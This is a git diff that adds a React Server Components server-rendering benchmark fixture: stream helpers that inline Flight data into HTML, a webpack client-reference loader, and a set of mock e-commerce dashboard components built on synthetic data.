+function renderFlightFizzNode(
+  renderRSCNode,
+  AppComponent,
+  itemCount,
+  clientManifest,
+  ssrManifest,
+  opts
+) {
+  const inject = !opts || opts.inject !== false;
+  const React = require('react');
+  const {renderToPipeableStream} = require('react-dom/server');
+  const {createFromNodeStream} = require('react-server-dom-webpack/client');
+
+  const {pipe: rscPipe} = renderRSCNode(
+    clientManifest,
+    AppComponent,
+    itemCount
+  );
+
+  let flightStream;
+  let flightScripts = '';
+  if (inject) {
+    // Tee the Flight stream into SSR + script injection
+    const trunk = new PassThrough();
+    const forSsr = new PassThrough();
+    const forInline = new PassThrough();
+    trunk.pipe(forSsr);
+    trunk.pipe(forInline);
+
+    forInline.on('data', function (chunk) {
+      flightScripts +=
+        '<script>(self.__FLIGHT_DATA||=[]).push(' +
+        JSON.stringify(chunk.toString()) +
+        ')</script>';
+    });
+
+    rscPipe(trunk);
+    flightStream = forSsr;
+  } else {
+    flightStream = new PassThrough();
+    rscPipe(flightStream);
+  }
+
+  let cachedResult;
+  function Root() {
+    if (!cachedResult) {
+      cachedResult = createFromNodeStream(flightStream, ssrManifest);
+    }
+    return React.use(cachedResult);
+  }
+
+  const output = new PassThrough();
+
+  const {pipe} = renderToPipeableStream(React.createElement(Root), {
+    onShellReady() {
+      if (inject) {
+        // Buffer HTML chunks within a tick to avoid injecting scripts mid-tag.
+        const trailer = '</body></html>';
+        let buffered = [];
+        let timeout = null;
+        const injector = new Transform({
+          transform(chunk, _encoding, cb) {
+            buffered.push(chunk);
+            if (!timeout) {
+              timeout = setTimeout(() => {
+                for (const buf of buffered) {
+                  let str = buf.toString();
+                  if (str.endsWith(trailer)) {
+                    str = str.slice(0, -trailer.length);
+                  }
+                  this.push(str);
+                }
+                buffered.length = 0;
+                timeout = null;
+                if (flightScripts) {
+                  this.push(flightScripts);
+                  flightScripts = '';
+                }
+              }, 0);
+            }
+            cb();
+          },
+          flush(cb) {
+            if (timeout) {
+              clearTimeout(timeout);
+              for (const buf of buffered) {
+                let str = buf.toString();
+                if (str.endsWith(trailer)) {
+                  str = str.slice(0, -trailer.length);
+                }
+                this.push(str);
+              }
+              buffered.length = 0;
+            }
+            if (flightScripts) {
+              this.push(flightScripts);
+              flightScripts = '';
+            }
+            this.push(trailer);
+            cb();
+          },
+        });
+        pipe(injector);
+        injector.pipe(output);
+      } else {
+        pipe(output);
+      }
+    },
+    onError(e) {
+      console.error('Flight+Fizz Node error:', e);
+      output.destroy(e);
+    },
+  });
+
+  return output;
+}
+
+// ---------------------------------------------------------------------------
+// Flight + Fizz (Edge) — RSC render → tee → Fizz + script injection via web
+// streams. HTML chunks are buffered within a tick to avoid injecting scripts
+// mid-tag. The </body></html> trailer is stripped, Flight scripts injected,
+// and the trailer re-added at flush.
+// Returns a promise that resolves to a web ReadableStream.
+// ---------------------------------------------------------------------------
+
+function renderFlightFizzEdge(
+  renderRSCEdge,
+  AppComponent,
+  itemCount,
+  clientManifest,
+  ssrManifest,
+  opts
+) {
+  const inject = !opts || opts.inject !== false;
+  const React = require('react');
+  const {renderToReadableStream} = require('react-dom/server');
+  const {
+    createFromReadableStream,
+  } = require('react-server-dom-webpack/client.edge');
+
+  const webStream = renderRSCEdge(clientManifest, AppComponent, itemCount);
+
+  let forSsr;
+  let injector;
+
+  if (inject) {
+    const htmlTrailer = '</body></html>';
+    const enc = new TextEncoder();
+
+    let forInline;
+    [forSsr, forInline] = webStream.tee();
+
+    let resolveInline;
+    const inlinePromise = new Promise(function (r) {
+      resolveInline = r;
+    });
+    const htmlDecoder = new TextDecoder();
+    let buffered = [];
+    let timeout = null;
+
+    function flushBuffered(controller) {
+      for (const chunk of buffered) {
+        let buf = htmlDecoder.decode(chunk, {stream: true});
+        if (buf.endsWith(htmlTrailer)) {
+          buf = buf.slice(0, -htmlTrailer.length);
+        }
+        controller.enqueue(enc.encode(buf));
+      }
+      const remaining = htmlDecoder.decode();
+      if (remaining.length) {
+        let buf = remaining;
+        if (buf.endsWith(htmlTrailer)) {
+          buf = buf.slice(0, -htmlTrailer.length);
+        }
+        controller.enqueue(enc.encode(buf));
+      }
+      buffered.length = 0;
+      timeout = null;
+    }
+
+    function writeFlightChunk(data, controller) {
+      controller.enqueue(
+        enc.encode(
+          '<script>(self.__FLIGHT_DATA||=[]).push(' +
+            JSON.stringify(data) +
+            ')</script>'
+        )
+      );
+    }
+
+    injector = new TransformStream({
+      start(controller) {
+        (async function () {
+          const reader = forInline.getReader();
+          const decoder = new TextDecoder('utf-8', {fatal: true});
+          for (;;) {
+            const {done, value} = await reader.read();
+            if (done) break;
+            writeFlightChunk(decoder.decode(value, {stream: true}), controller);
+          }
+          const remaining = decoder.decode();
+          if (remaining.length) {
+            writeFlightChunk(remaining, controller);
+          }
+          resolveInline();
+        })();
+      },
+      transform(chunk, controller) {
+        buffered.push(chunk);
+        if (!timeout) {
+          timeout = setTimeout(function () {
+            flushBuffered(controller);
+          }, 0);
+        }
+      },
+      async flush(controller) {
+        await inlinePromise;
+        if (timeout) {
+          clearTimeout(timeout);
+          flushBuffered(controller);
+        }
+        controller.enqueue(enc.encode(htmlTrailer));
+      },
+    });
+  } else {
+    forSsr = webStream;
+  }
+
+  const cachedResult = createFromReadableStream(forSsr, {
+    serverConsumerManifest: ssrManifest,
+  });
+  function Root() {
+    return React.use(cachedResult);
+  }
+
+  return renderToReadableStream(React.createElement(Root)).then(
+    function (htmlStream) {
+      return injector ? htmlStream.pipeThrough(injector) : htmlStream;
+    }
+  );
+}
+
+// ---------------------------------------------------------------------------
+// Utilities: collect streams into strings.
+// ---------------------------------------------------------------------------
+
+function nodeStreamToString(nodeStream) {
+  return new Promise(function (resolve, reject) {
+    const chunks = [];
+    nodeStream.on('data', function (chunk) {
+      chunks.push(chunk);
+    });
+    nodeStream.on('end', function () {
+      resolve(Buffer.concat(chunks).toString('utf-8'));
+    });
+    nodeStream.on('error', reject);
+  });
+}
+
+function webStreamToString(webStream) {
+  const reader = webStream.getReader();
+  const chunks = [];
+  function read() {
+    return reader.read().then(function ({done, value}) {
+      if (done) {
+        return Buffer.concat(chunks).toString('utf-8');
+      }
+      chunks.push(Buffer.from(value));
+      return read();
+    });
+  }
+  return read();
+}
+
+module.exports = {
+  renderFizzNode,
+  renderFizzEdge,
+  renderFlightFizzNode,
+  renderFlightFizzEdge,
+  nodeStreamToString,
+  webStreamToString,
+};
diff --git a/fixtures/flight-ssr-bench/rsc-client-ref-loader.js b/fixtures/flight-ssr-bench/rsc-client-ref-loader.js
new file mode 100644
index 000000000000..325d5b342dab
--- /dev/null
+++ b/fixtures/flight-ssr-bench/rsc-client-ref-loader.js
@@ -0,0 +1,22 @@
+'use strict';
+
+const url = require('url');
+
+// Webpack loader that runs in the RSC compilation.
+// When a module starts with 'use client', it replaces the entire source
+// with a client module proxy. This makes the RSC renderer serialize a
+// client reference into the Flight stream instead of rendering the component.
+module.exports = function rscClientRefLoader(source) {
+  const trimmed = source.trimStart();
+  if (
+    trimmed.startsWith("'use client'") ||
+    trimmed.startsWith('"use client"')
+  ) {
+    const href = url.pathToFileURL(this.resourcePath).href;
+    return [
+      `const { createClientModuleProxy } = require('react-server-dom-webpack/server');`,
+      `module.exports = createClientModuleProxy(${JSON.stringify(href)});`,
+    ].join('\n');
+  }
+  return source;
+};
diff --git a/fixtures/flight-ssr-bench/src/App.js b/fixtures/flight-ssr-bench/src/App.js
new file mode 100644
index 000000000000..c50ea1bd3f5f
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/App.js
@@ -0,0 +1,18 @@
+import Shell from './components/Shell';
+import Sidebar from './components/Sidebar';
+import Dashboard from './components/Dashboard';
+import Footer from './components/Footer';
+
+export default function App({itemCount}) {
+  return (
+    <html>
+      <body>
+        <Shell>
+          <Sidebar itemCount={itemCount} />
+          <Dashboard itemCount={itemCount} />
+          <Footer />
+        </Shell>
+      </body>
+    </html>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/AppAsync.js b/fixtures/flight-ssr-bench/src/AppAsync.js
new file mode 100644
index 000000000000..7db7ca2ea4e1
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/AppAsync.js
@@ -0,0 +1,18 @@
+import Shell from './components/Shell';
+import Sidebar from './components/Sidebar';
+import DashboardAsync from './components/DashboardAsync';
+import Footer from './components/Footer';
+
+export default function AppAsync({itemCount}) {
+  return (
+    <html>
+      <body>
+        <Shell>
+          <Sidebar itemCount={itemCount} />
+          <DashboardAsync itemCount={itemCount} />
+          <Footer />
+        </Shell>
+      </body>
+    </html>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/ActivityFeed.js b/fixtures/flight-ssr-bench/src/components/ActivityFeed.js
new file mode 100644
index 000000000000..ddc390e8c2c7
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/ActivityFeed.js
@@ -0,0 +1,21 @@
+import ActivityItem from './ActivityItem';
+
+export default function ActivityFeed({activities}) {
+  return (
+    <div className="activity-feed">
+      <h3>Recent Activity</h3>
+      <ul className="activity-list">
+        {activities.map(activity => (
+          <ActivityItem
+            key={activity.id}
+            type={activity.type}
+            user={activity.user}
+            message={activity.message}
+            timestamp={activity.timestamp}
+            details={activity.details}
+          />
+        ))}
+      </ul>
+    </div>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/ActivityItem.js b/fixtures/flight-ssr-bench/src/components/ActivityItem.js
new file mode 100644
index 000000000000..8ff1d148d854
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/ActivityItem.js
@@ -0,0 +1,27 @@
+'use client';
+
+export default function ActivityItem({
+  type,
+  user,
+  message,
+  timestamp,
+  details,
+}) {
+  return (
+    <li className={'activity-item activity-' + type}>
+      <div className="activity-icon" data-type={type} />
+      <div className="activity-content">
+        <p className="activity-message">{message}</p>
+        <div className="activity-meta">
+          <span className="activity-user">{user}</span>
+          <span className="activity-time">{timestamp}</span>
+          {details && (
+            <span className="activity-details">
+              {details.amount} &middot; {details.items} items
+            </span>
+          )}
+        </div>
+      </div>
+    </li>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/Avatar.js b/fixtures/flight-ssr-bench/src/components/Avatar.js
new file mode 100644
index 000000000000..c61b76bb7512
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/Avatar.js
@@ -0,0 +1,13 @@
+'use client';
+
+export default function Avatar({name, role, src}) {
+  return (
+    <div className="avatar-container">
+      <img className="avatar-img" src={src} alt={name} width={32} height={32} />
+      <div className="avatar-info">
+        <span className="avatar-name">{name}</span>
+        <span className="avatar-role">{role}</span>
+      </div>
+    </div>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/Badge.js b/fixtures/flight-ssr-bench/src/components/Badge.js
new file mode 100644
index 000000000000..79f4424c5503
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/Badge.js
@@ -0,0 +1,6 @@
+'use client';
+
+export default function Badge({count, variant}) {
+  const className = 'badge' + (variant ? ' badge-' + variant : '');
+  return <span className={className}>{count}</span>;
+}
diff --git a/fixtures/flight-ssr-bench/src/components/ChartPanel.js b/fixtures/flight-ssr-bench/src/components/ChartPanel.js
new file mode 100644
index 000000000000..413e35fe4800
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/ChartPanel.js
@@ -0,0 +1,24 @@
+'use client';
+
+export default function ChartPanel({title, data, type}) {
+  const maxVal = Math.max(...data.map(d => d.value));
+  return (
+    <div className="chart-panel">
+      <h3 className="chart-title">{title}</h3>
+      <div className={'chart chart-' + type}>
+        {data.map(point => (
+          <div key={point.month} className="chart-bar-group">
+            <div
+              className="chart-bar"
+              style={{height: Math.round((point.value / maxVal) * 100) + '%'}}
+            />
+            <span className="chart-label">{point.month}</span>
+            <span className="chart-value">
+              ${(point.value / 1000).toFixed(0)}k
+            </span>
+          </div>
+        ))}
+      </div>
+    </div>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/Dashboard.js b/fixtures/flight-ssr-bench/src/components/Dashboard.js
new file mode 100644
index 000000000000..877195211e38
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/Dashboard.js
@@ -0,0 +1,32 @@
+import StatsGrid from './StatsGrid';
+import ProductTable from './ProductTable';
+import ActivityFeed from './ActivityFeed';
+import ChartPanel from './ChartPanel';
+import {generateProducts, generateActivities, generateStats} from './data';
+
+export default function Dashboard({itemCount}) {
+  const products = generateProducts(itemCount);
+  const activities = generateActivities(Math.min(itemCount, 50));
+  const stats = generateStats();
+
+  return (
+    <main className="dashboard">
+      <div className="dashboard-header">
+        <h1>Dashboard Overview</h1>
+        <p className="dashboard-subtitle">
+          Welcome back. Here is what is happening with your store today.
+        </p>
+      </div>
+      <StatsGrid stats={stats} />
+      <div className="dashboard-grid">
+        <div className="dashboard-main">
+          <ProductTable products={products} />
+        </div>
+        <div className="dashboard-aside">
+          <ChartPanel title="Revenue" data={stats.revenueByMonth} type="bar" />
+          <ActivityFeed activities={activities} />
+        </div>
+      </div>
+    </main>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/DashboardAsync.js b/fixtures/flight-ssr-bench/src/components/DashboardAsync.js
new file mode 100644
index 000000000000..90e9ff0b0e97
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/DashboardAsync.js
@@ -0,0 +1,144 @@
+import {Suspense} from 'react';
+import StatsGrid from './StatsGrid';
+import TableRow from './TableRow';
+import TableHeader from './TableHeader';
+import Pagination from './Pagination';
+import ActivityItem from './ActivityItem';
+import ChartPanel from './ChartPanel';
+import Skeleton from './Skeleton';
+import {generateProducts, generateActivities, generateStats} from './data';
+
+function fetchData(generator, ...args) {
+  return new Promise(resolve => {
+    setTimeout(() => resolve(generator(...args)), 1);
+  });
+}
+
+function fetchDelayed(value, delayMs) {
+  return new Promise(resolve => {
+    setTimeout(() => resolve(value), delayMs);
+  });
+}
+
+async function AsyncStatsSection() {
+  const stats = await fetchData(generateStats);
+  return <StatsGrid stats={stats} />;
+}
+
+const productColumns = [
+  {key: 'name', label: 'Product'},
+  {key: 'sku', label: 'SKU'},
+  {key: 'category', label: 'Category'},
+  {key: 'price', label: 'Price'},
+  {key: 'stock', label: 'Stock'},
+  {key: 'status', label: 'Status'},
+  {key: 'rating', label: 'Rating'},
+];
+
+async function AsyncProductRow({product, delay}) {
+  const resolved = await fetchDelayed(product, delay);
+  return <TableRow product={resolved} columns={productColumns} />;
+}
+
+async function AsyncProductSection({itemCount}) {
+  const products = await fetchData(generateProducts, itemCount);
+  return (
+    <div className="product-table-container">
+      <div className="table-toolbar">
+        <h2>Products</h2>
+        <span className="table-count">{products.length} items</span>
+      </div>
+      <table className="product-table">
+        <thead>
+          <tr>
+            {productColumns.map(col => (
+              <TableHeader key={col.key} column={col} />
+            ))}
+          </tr>
+        </thead>
+        <tbody>
+          {products.map((product, i) => (
+            <Suspense
+              key={product.id}
+              fallback={
+                <tr>
+                  <td colSpan={7}>Loading...</td>
+                </tr>
+              }>
+              <AsyncProductRow product={product} delay={1 + (i % 5)} />
+            </Suspense>
+          ))}
+        </tbody>
+      </table>
+      <Pagination total={products.length} pageSize={20} />
+    </div>
+  );
+}
+
+async function AsyncChartSection() {
+  const stats = await fetchData(generateStats);
+  return <ChartPanel title="Revenue" data={stats.revenueByMonth} type="bar" />;
+}
+
+async function AsyncActivityItem({activity, delay}) {
+  const resolved = await fetchDelayed(activity, delay);
+  return (
+    <ActivityItem
+      type={resolved.type}
+      user={resolved.user}
+      message={resolved.message}
+      timestamp={resolved.timestamp}
+      details={resolved.details}
+    />
+  );
+}
+
+async function AsyncActivitySection({itemCount}) {
+  const activities = await fetchData(
+    generateActivities,
+    Math.min(itemCount, 50)
+  );
+  return (
+    <div className="activity-feed">
+      <h3>Recent Activity</h3>
+      <ul className="activity-list">
+        {activities.map((activity, i) => (
+          <Suspense key={activity.id} fallback={<li>Loading...</li>}>
+            <AsyncActivityItem activity={activity} delay={1 + (i % 5)} />
+          </Suspense>
+        ))}
+      </ul>
+    </div>
+  );
+}
+
+export default function DashboardAsync({itemCount}) {
+  return (
+    <main className="dashboard">
+      <div className="dashboard-header">
+        <h1>Dashboard Overview</h1>
+        <p className="dashboard-subtitle">
+          Welcome back. Here is what is happening with your store today.
+        </p>
+      </div>
+      <Suspense fallback={<Skeleton type="stats" />}>
+        <AsyncStatsSection />
+      </Suspense>
+      <div className="dashboard-grid">
+        <div className="dashboard-main">
+          <Suspense fallback={<Skeleton type="table" />}>
+            <AsyncProductSection itemCount={itemCount} />
+          </Suspense>
+        </div>
+        <div className="dashboard-aside">
+          <Suspense fallback={<Skeleton type="chart" />}>
+            <AsyncChartSection />
+          </Suspense>
+          <Suspense fallback={<Skeleton type="feed" />}>
+            <AsyncActivitySection itemCount={itemCount} />
+          </Suspense>
+        </div>
+      </div>
+    </main>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/Footer.js b/fixtures/flight-ssr-bench/src/components/Footer.js
new file mode 100644
index 000000000000..a5b248f6dc0f
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/Footer.js
@@ -0,0 +1,47 @@
+import FooterLink from './FooterLink';
+
+const footerSections = [
+  {
+    title: 'Product',
+    links: ['Features', 'Pricing', 'Changelog', 'Docs', 'API Reference'],
+  },
+  {
+    title: 'Company',
+    links: ['About', 'Blog', 'Careers', 'Press', 'Partners'],
+  },
+  {
+    title: 'Support',
+    links: ['Help Center', 'Contact', 'Status', 'Community', 'Security'],
+  },
+  {
+    title: 'Legal',
+    links: ['Privacy', 'Terms', 'Cookie Policy', 'Licenses', 'GDPR'],
+  },
+];
+
+export default function Footer() {
+  return (
+    <footer className="app-footer">
+      <div className="footer-grid">
+        {footerSections.map(section => (
+          <div key={section.title} className="footer-section">
+            <h4>{section.title}</h4>
+            <ul>
+              {section.links.map(link => (
+                <li key={link}>
+                  <FooterLink
+                    href={'/' + link.toLowerCase().replace(/\s+/g, '-')}>
+                    {link}
+                  </FooterLink>
+                </li>
+              ))}
+            </ul>
+          </div>
+        ))}
+      </div>
+      <div className="footer-bottom">
+        <p>&copy; 2026 Acme Inc. All rights reserved.</p>
+      </div>
+    </footer>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/FooterLink.js b/fixtures/flight-ssr-bench/src/components/FooterLink.js
new file mode 100644
index 000000000000..438692a04684
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/FooterLink.js
@@ -0,0 +1,9 @@
+'use client';
+
+export default function FooterLink({href, children}) {
+  return (
+    <a className="footer-link" href={href}>
+      {children}
+    </a>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/Header.js b/fixtures/flight-ssr-bench/src/components/Header.js
new file mode 100644
index 000000000000..66b64410846e
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/Header.js
@@ -0,0 +1,22 @@
+'use client';
+
+import Avatar from './Avatar';
+import SearchBar from './SearchBar';
+import NotificationBell from './NotificationBell';
+
+export default function Header({title, user}) {
+  return (
+    <header className="app-header">
+      <div className="header-left">
+        <h1 className="header-title">{title}</h1>
+      </div>
+      <div className="header-center">
+        <SearchBar placeholder="Search products, orders, customers..." />
+      </div>
+      <div className="header-right">
+        <NotificationBell count={3} />
+        <Avatar name={user.name} role={user.role} src={user.avatar} />
+      </div>
+    </header>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/NavLink.js b/fixtures/flight-ssr-bench/src/components/NavLink.js
new file mode 100644
index 000000000000..308bdc81678d
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/NavLink.js
@@ -0,0 +1,10 @@
+'use client';
+
+export default function NavLink({href, icon, children}) {
+  return (
+    <a className="nav-link" href={href}>
+      <span className="nav-icon" data-icon={icon} />
+      <span className="nav-label">{children}</span>
+    </a>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/NotificationBell.js b/fixtures/flight-ssr-bench/src/components/NotificationBell.js
new file mode 100644
index 000000000000..06047aaf8040
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/NotificationBell.js
@@ -0,0 +1,10 @@
+'use client';
+
+export default function NotificationBell({count}) {
+  return (
+    <button className="notification-bell" aria-label="Notifications">
+      <span className="bell-icon">&#128276;</span>
+      {count > 0 && <span className="notification-badge">{count}</span>}
+    </button>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/Pagination.js b/fixtures/flight-ssr-bench/src/components/Pagination.js
new file mode 100644
index 000000000000..a26f0f24d36b
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/Pagination.js
@@ -0,0 +1,26 @@
+'use client';
+
+export default function Pagination({total, pageSize}) {
+  const pageCount = Math.ceil(total / pageSize);
+  const pages = [];
+  for (let i = 1; i <= pageCount; i++) {
+    pages.push(i);
+  }
+  return (
+    <div className="pagination">
+      <button className="pagination-btn" disabled>
+        Previous
+      </button>
+      <div className="pagination-pages">
+        {pages.map(page => (
+          <button
+            key={page}
+            className={'pagination-page' + (page === 1 ? ' active' : '')}>
+            {page}
+          </button>
+        ))}
+      </div>
+      <button className="pagination-btn">Next</button>
+    </div>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/ProductTable.js b/fixtures/flight-ssr-bench/src/components/ProductTable.js
new file mode 100644
index 000000000000..1e60e6fd04b7
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/ProductTable.js
@@ -0,0 +1,40 @@
+import TableRow from './TableRow';
+import TableHeader from './TableHeader';
+import Badge from './Badge';
+import Pagination from './Pagination';
+
+const columns = [
+  {key: 'name', label: 'Product'},
+  {key: 'sku', label: 'SKU'},
+  {key: 'category', label: 'Category'},
+  {key: 'price', label: 'Price'},
+  {key: 'stock', label: 'Stock'},
+  {key: 'status', label: 'Status'},
+  {key: 'rating', label: 'Rating'},
+];
+
+export default function ProductTable({products}) {
+  return (
+    <div className="product-table-container">
+      <div className="table-toolbar">
+        <h2>Products</h2>
+        <span className="table-count">{products.length} items</span>
+      </div>
+      <table className="product-table">
+        <thead>
+          <tr>
+            {columns.map(col => (
+              <TableHeader key={col.key} column={col} />
+            ))}
+          </tr>
+        </thead>
+        <tbody>
+          {products.map(product => (
+            <TableRow key={product.id} product={product} columns={columns} />
+          ))}
+        </tbody>
+      </table>
+      <Pagination total={products.length} pageSize={20} />
+    </div>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/SearchBar.js b/fixtures/flight-ssr-bench/src/components/SearchBar.js
new file mode 100644
index 000000000000..d9fc1f61cd9f
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/SearchBar.js
@@ -0,0 +1,11 @@
+'use client';
+
+export default function SearchBar({placeholder}) {
+  return (
+    <div className="search-bar">
+      <span className="search-icon">&#128269;</span>
+      <input type="search" className="search-input" placeholder={placeholder} />
+      <kbd className="search-shortcut">&#8984;K</kbd>
+    </div>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/Shell.js b/fixtures/flight-ssr-bench/src/components/Shell.js
new file mode 100644
index 000000000000..cffe97c28412
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/Shell.js
@@ -0,0 +1,16 @@
+import Header from './Header';
+import ThemeProvider from './ThemeProvider';
+
+export default function Shell({children}) {
+  return (
+    <ThemeProvider theme="light">
+      <div className="app-shell">
+        <Header
+          title="Acme Dashboard"
+          user={{name: 'Jane Smith', role: 'Admin', avatar: '/img/avatar.png'}}
+        />
+        <div className="app-content">{children}</div>
+      </div>
+    </ThemeProvider>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/Sidebar.js b/fixtures/flight-ssr-bench/src/components/Sidebar.js
new file mode 100644
index 000000000000..065ad636748c
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/Sidebar.js
@@ -0,0 +1,58 @@
+import NavLink from './NavLink';
+import SidebarSection from './SidebarSection';
+import Badge from './Badge';
+
+const navItems = [
+  {href: '/', label: 'Dashboard', icon: 'home'},
+  {href: '/products', label: 'Products', icon: 'box', count: 142},
+  {href: '/orders', label: 'Orders', icon: 'cart', count: 38},
+  {href: '/customers', label: 'Customers', icon: 'users'},
+  {href: '/analytics', label: 'Analytics', icon: 'chart'},
+  {href: '/settings', label: 'Settings', icon: 'gear'},
+];
+
+const recentItems = [
+  {id: 1, label: 'Order #1234', status: 'pending'},
+  {id: 2, label: 'Order #1235', status: 'shipped'},
+  {id: 3, label: 'Order #1236', status: 'delivered'},
+  {id: 4, label: 'Return #891', status: 'processing'},
+];
+
+export default function Sidebar({itemCount}) {
+  return (
+    <aside className="sidebar">
+      <nav className="sidebar-nav">
+        <SidebarSection title="Navigation">
+          {navItems.map(item => (
+            <NavLink key={item.href} href={item.href} icon={item.icon}>
+              {item.label}
+              {item.count != null && <Badge count={item.count} />}
+            </NavLink>
+          ))}
+        </SidebarSection>
+        <SidebarSection title="Recent Activity">
+          {recentItems.map(item => (
+            <div key={item.id} className="recent-item">
+              <span className="recent-label">{item.label}</span>
+              <Badge count={item.status} variant="status" />
+            </div>
+          ))}
+        </SidebarSection>
+        <SidebarSection title="Quick Stats">
+          <div className="stat">
+            <span className="stat-label">Total Items</span>
+            <span className="stat-value">{itemCount}</span>
+          </div>
+          <div className="stat">
+            <span className="stat-label">Active Users</span>
+            <span className="stat-value">1,247</span>
+          </div>
+          <div className="stat">
+            <span className="stat-label">Revenue</span>
+            <span className="stat-value">$84,320</span>
+          </div>
+        </SidebarSection>
+      </nav>
+    </aside>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/SidebarSection.js b/fixtures/flight-ssr-bench/src/components/SidebarSection.js
new file mode 100644
index 000000000000..2fb0684a5720
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/SidebarSection.js
@@ -0,0 +1,10 @@
+'use client';
+
+export default function SidebarSection({title, children}) {
+  return (
+    <div className="sidebar-section">
+      <h3 className="sidebar-section-title">{title}</h3>
+      <div className="sidebar-section-content">{children}</div>
+    </div>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/Skeleton.js b/fixtures/flight-ssr-bench/src/components/Skeleton.js
new file mode 100644
index 000000000000..fdf8ee07eb6a
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/Skeleton.js
@@ -0,0 +1,9 @@
+'use client';
+
+export default function Skeleton({type}) {
+  return (
+    <div className={'skeleton skeleton-' + type} aria-busy="true">
+      <div className="skeleton-shimmer" />
+    </div>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/StatCard.js b/fixtures/flight-ssr-bench/src/components/StatCard.js
new file mode 100644
index 000000000000..6fa5358425da
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/StatCard.js
@@ -0,0 +1,24 @@
+'use client';
+
+export default function StatCard({title, value, change, trend, sparkline}) {
+  return (
+    <div className="stat-card">
+      <div className="stat-card-header">
+        <span className="stat-card-title">{title}</span>
+        <span className={'stat-card-change trend-' + trend}>{change}</span>
+      </div>
+      <div className="stat-card-value">{value}</div>
+      <div className="stat-card-sparkline">
+        {sparkline.map((point, i) => (
+          <span
+            key={i}
+            className="sparkline-bar"
+            style={{
+              height: Math.round((point / Math.max(...sparkline)) * 100) + '%',
+            }}
+          />
+        ))}
+      </div>
+    </div>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/StatsGrid.js b/fixtures/flight-ssr-bench/src/components/StatsGrid.js
new file mode 100644
index 000000000000..bbf1dfe8e547
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/StatsGrid.js
@@ -0,0 +1,18 @@
+import StatCard from './StatCard';
+
+export default function StatsGrid({stats}) {
+  return (
+    <div className="stats-grid">
+      {stats.cards.map(card => (
+        <StatCard
+          key={card.title}
+          title={card.title}
+          value={card.value}
+          change={card.change}
+          trend={card.trend}
+          sparkline={card.sparkline}
+        />
+      ))}
+    </div>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/TableHeader.js b/fixtures/flight-ssr-bench/src/components/TableHeader.js
new file mode 100644
index 000000000000..9d7db7c12a46
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/TableHeader.js
@@ -0,0 +1,10 @@
+'use client';
+
+export default function TableHeader({column}) {
+  return (
+    <th className="table-header" data-column={column.key}>
+      <span className="table-header-label">{column.label}</span>
+      <span className="table-header-sort" aria-label="Sort" />
+    </th>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/TableRow.js b/fixtures/flight-ssr-bench/src/components/TableRow.js
new file mode 100644
index 000000000000..ee3a285af605
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/TableRow.js
@@ -0,0 +1,31 @@
+'use client';
+
+import Badge from './Badge';
+
+export default function TableRow({product, columns}) {
+  return (
+    <tr className="table-row">
+      {columns.map(col => (
+        <td key={col.key} className="table-cell" data-column={col.key}>
+          {col.key === 'status' ? (
+            <Badge count={product[col.key]} variant="status" />
+          ) : col.key === 'price' ? (
+            <span className="price">${product[col.key]}</span>
+          ) : col.key === 'rating' ? (
+            <span className="rating">
+              <span className="star">&#9733;</span> {product[col.key]}
+              <span className="review-count">({product.reviewCount})</span>
+            </span>
+          ) : col.key === 'name' ? (
+            <div className="product-name-cell">
+              <span className="product-name">{product.name}</span>
+              <span className="product-category">{product.category}</span>
+            </div>
+          ) : (
+            product[col.key]
+          )}
+        </td>
+      ))}
+    </tr>
+  );
+}
diff --git a/fixtures/flight-ssr-bench/src/components/ThemeProvider.js b/fixtures/flight-ssr-bench/src/components/ThemeProvider.js
new file mode 100644
index 000000000000..90f89779ddce
--- /dev/null
+++ b/fixtures/flight-ssr-bench/src/components/ThemeProvider.js
@@ -0,0 +1,9 @@
+'use client';
+
+export default function ThemeProvider({theme, children}) {
+  return (
+    <div className={'theme-' + theme} data-theme={theme}>
+      {children}
+    </div>
+  );
+}
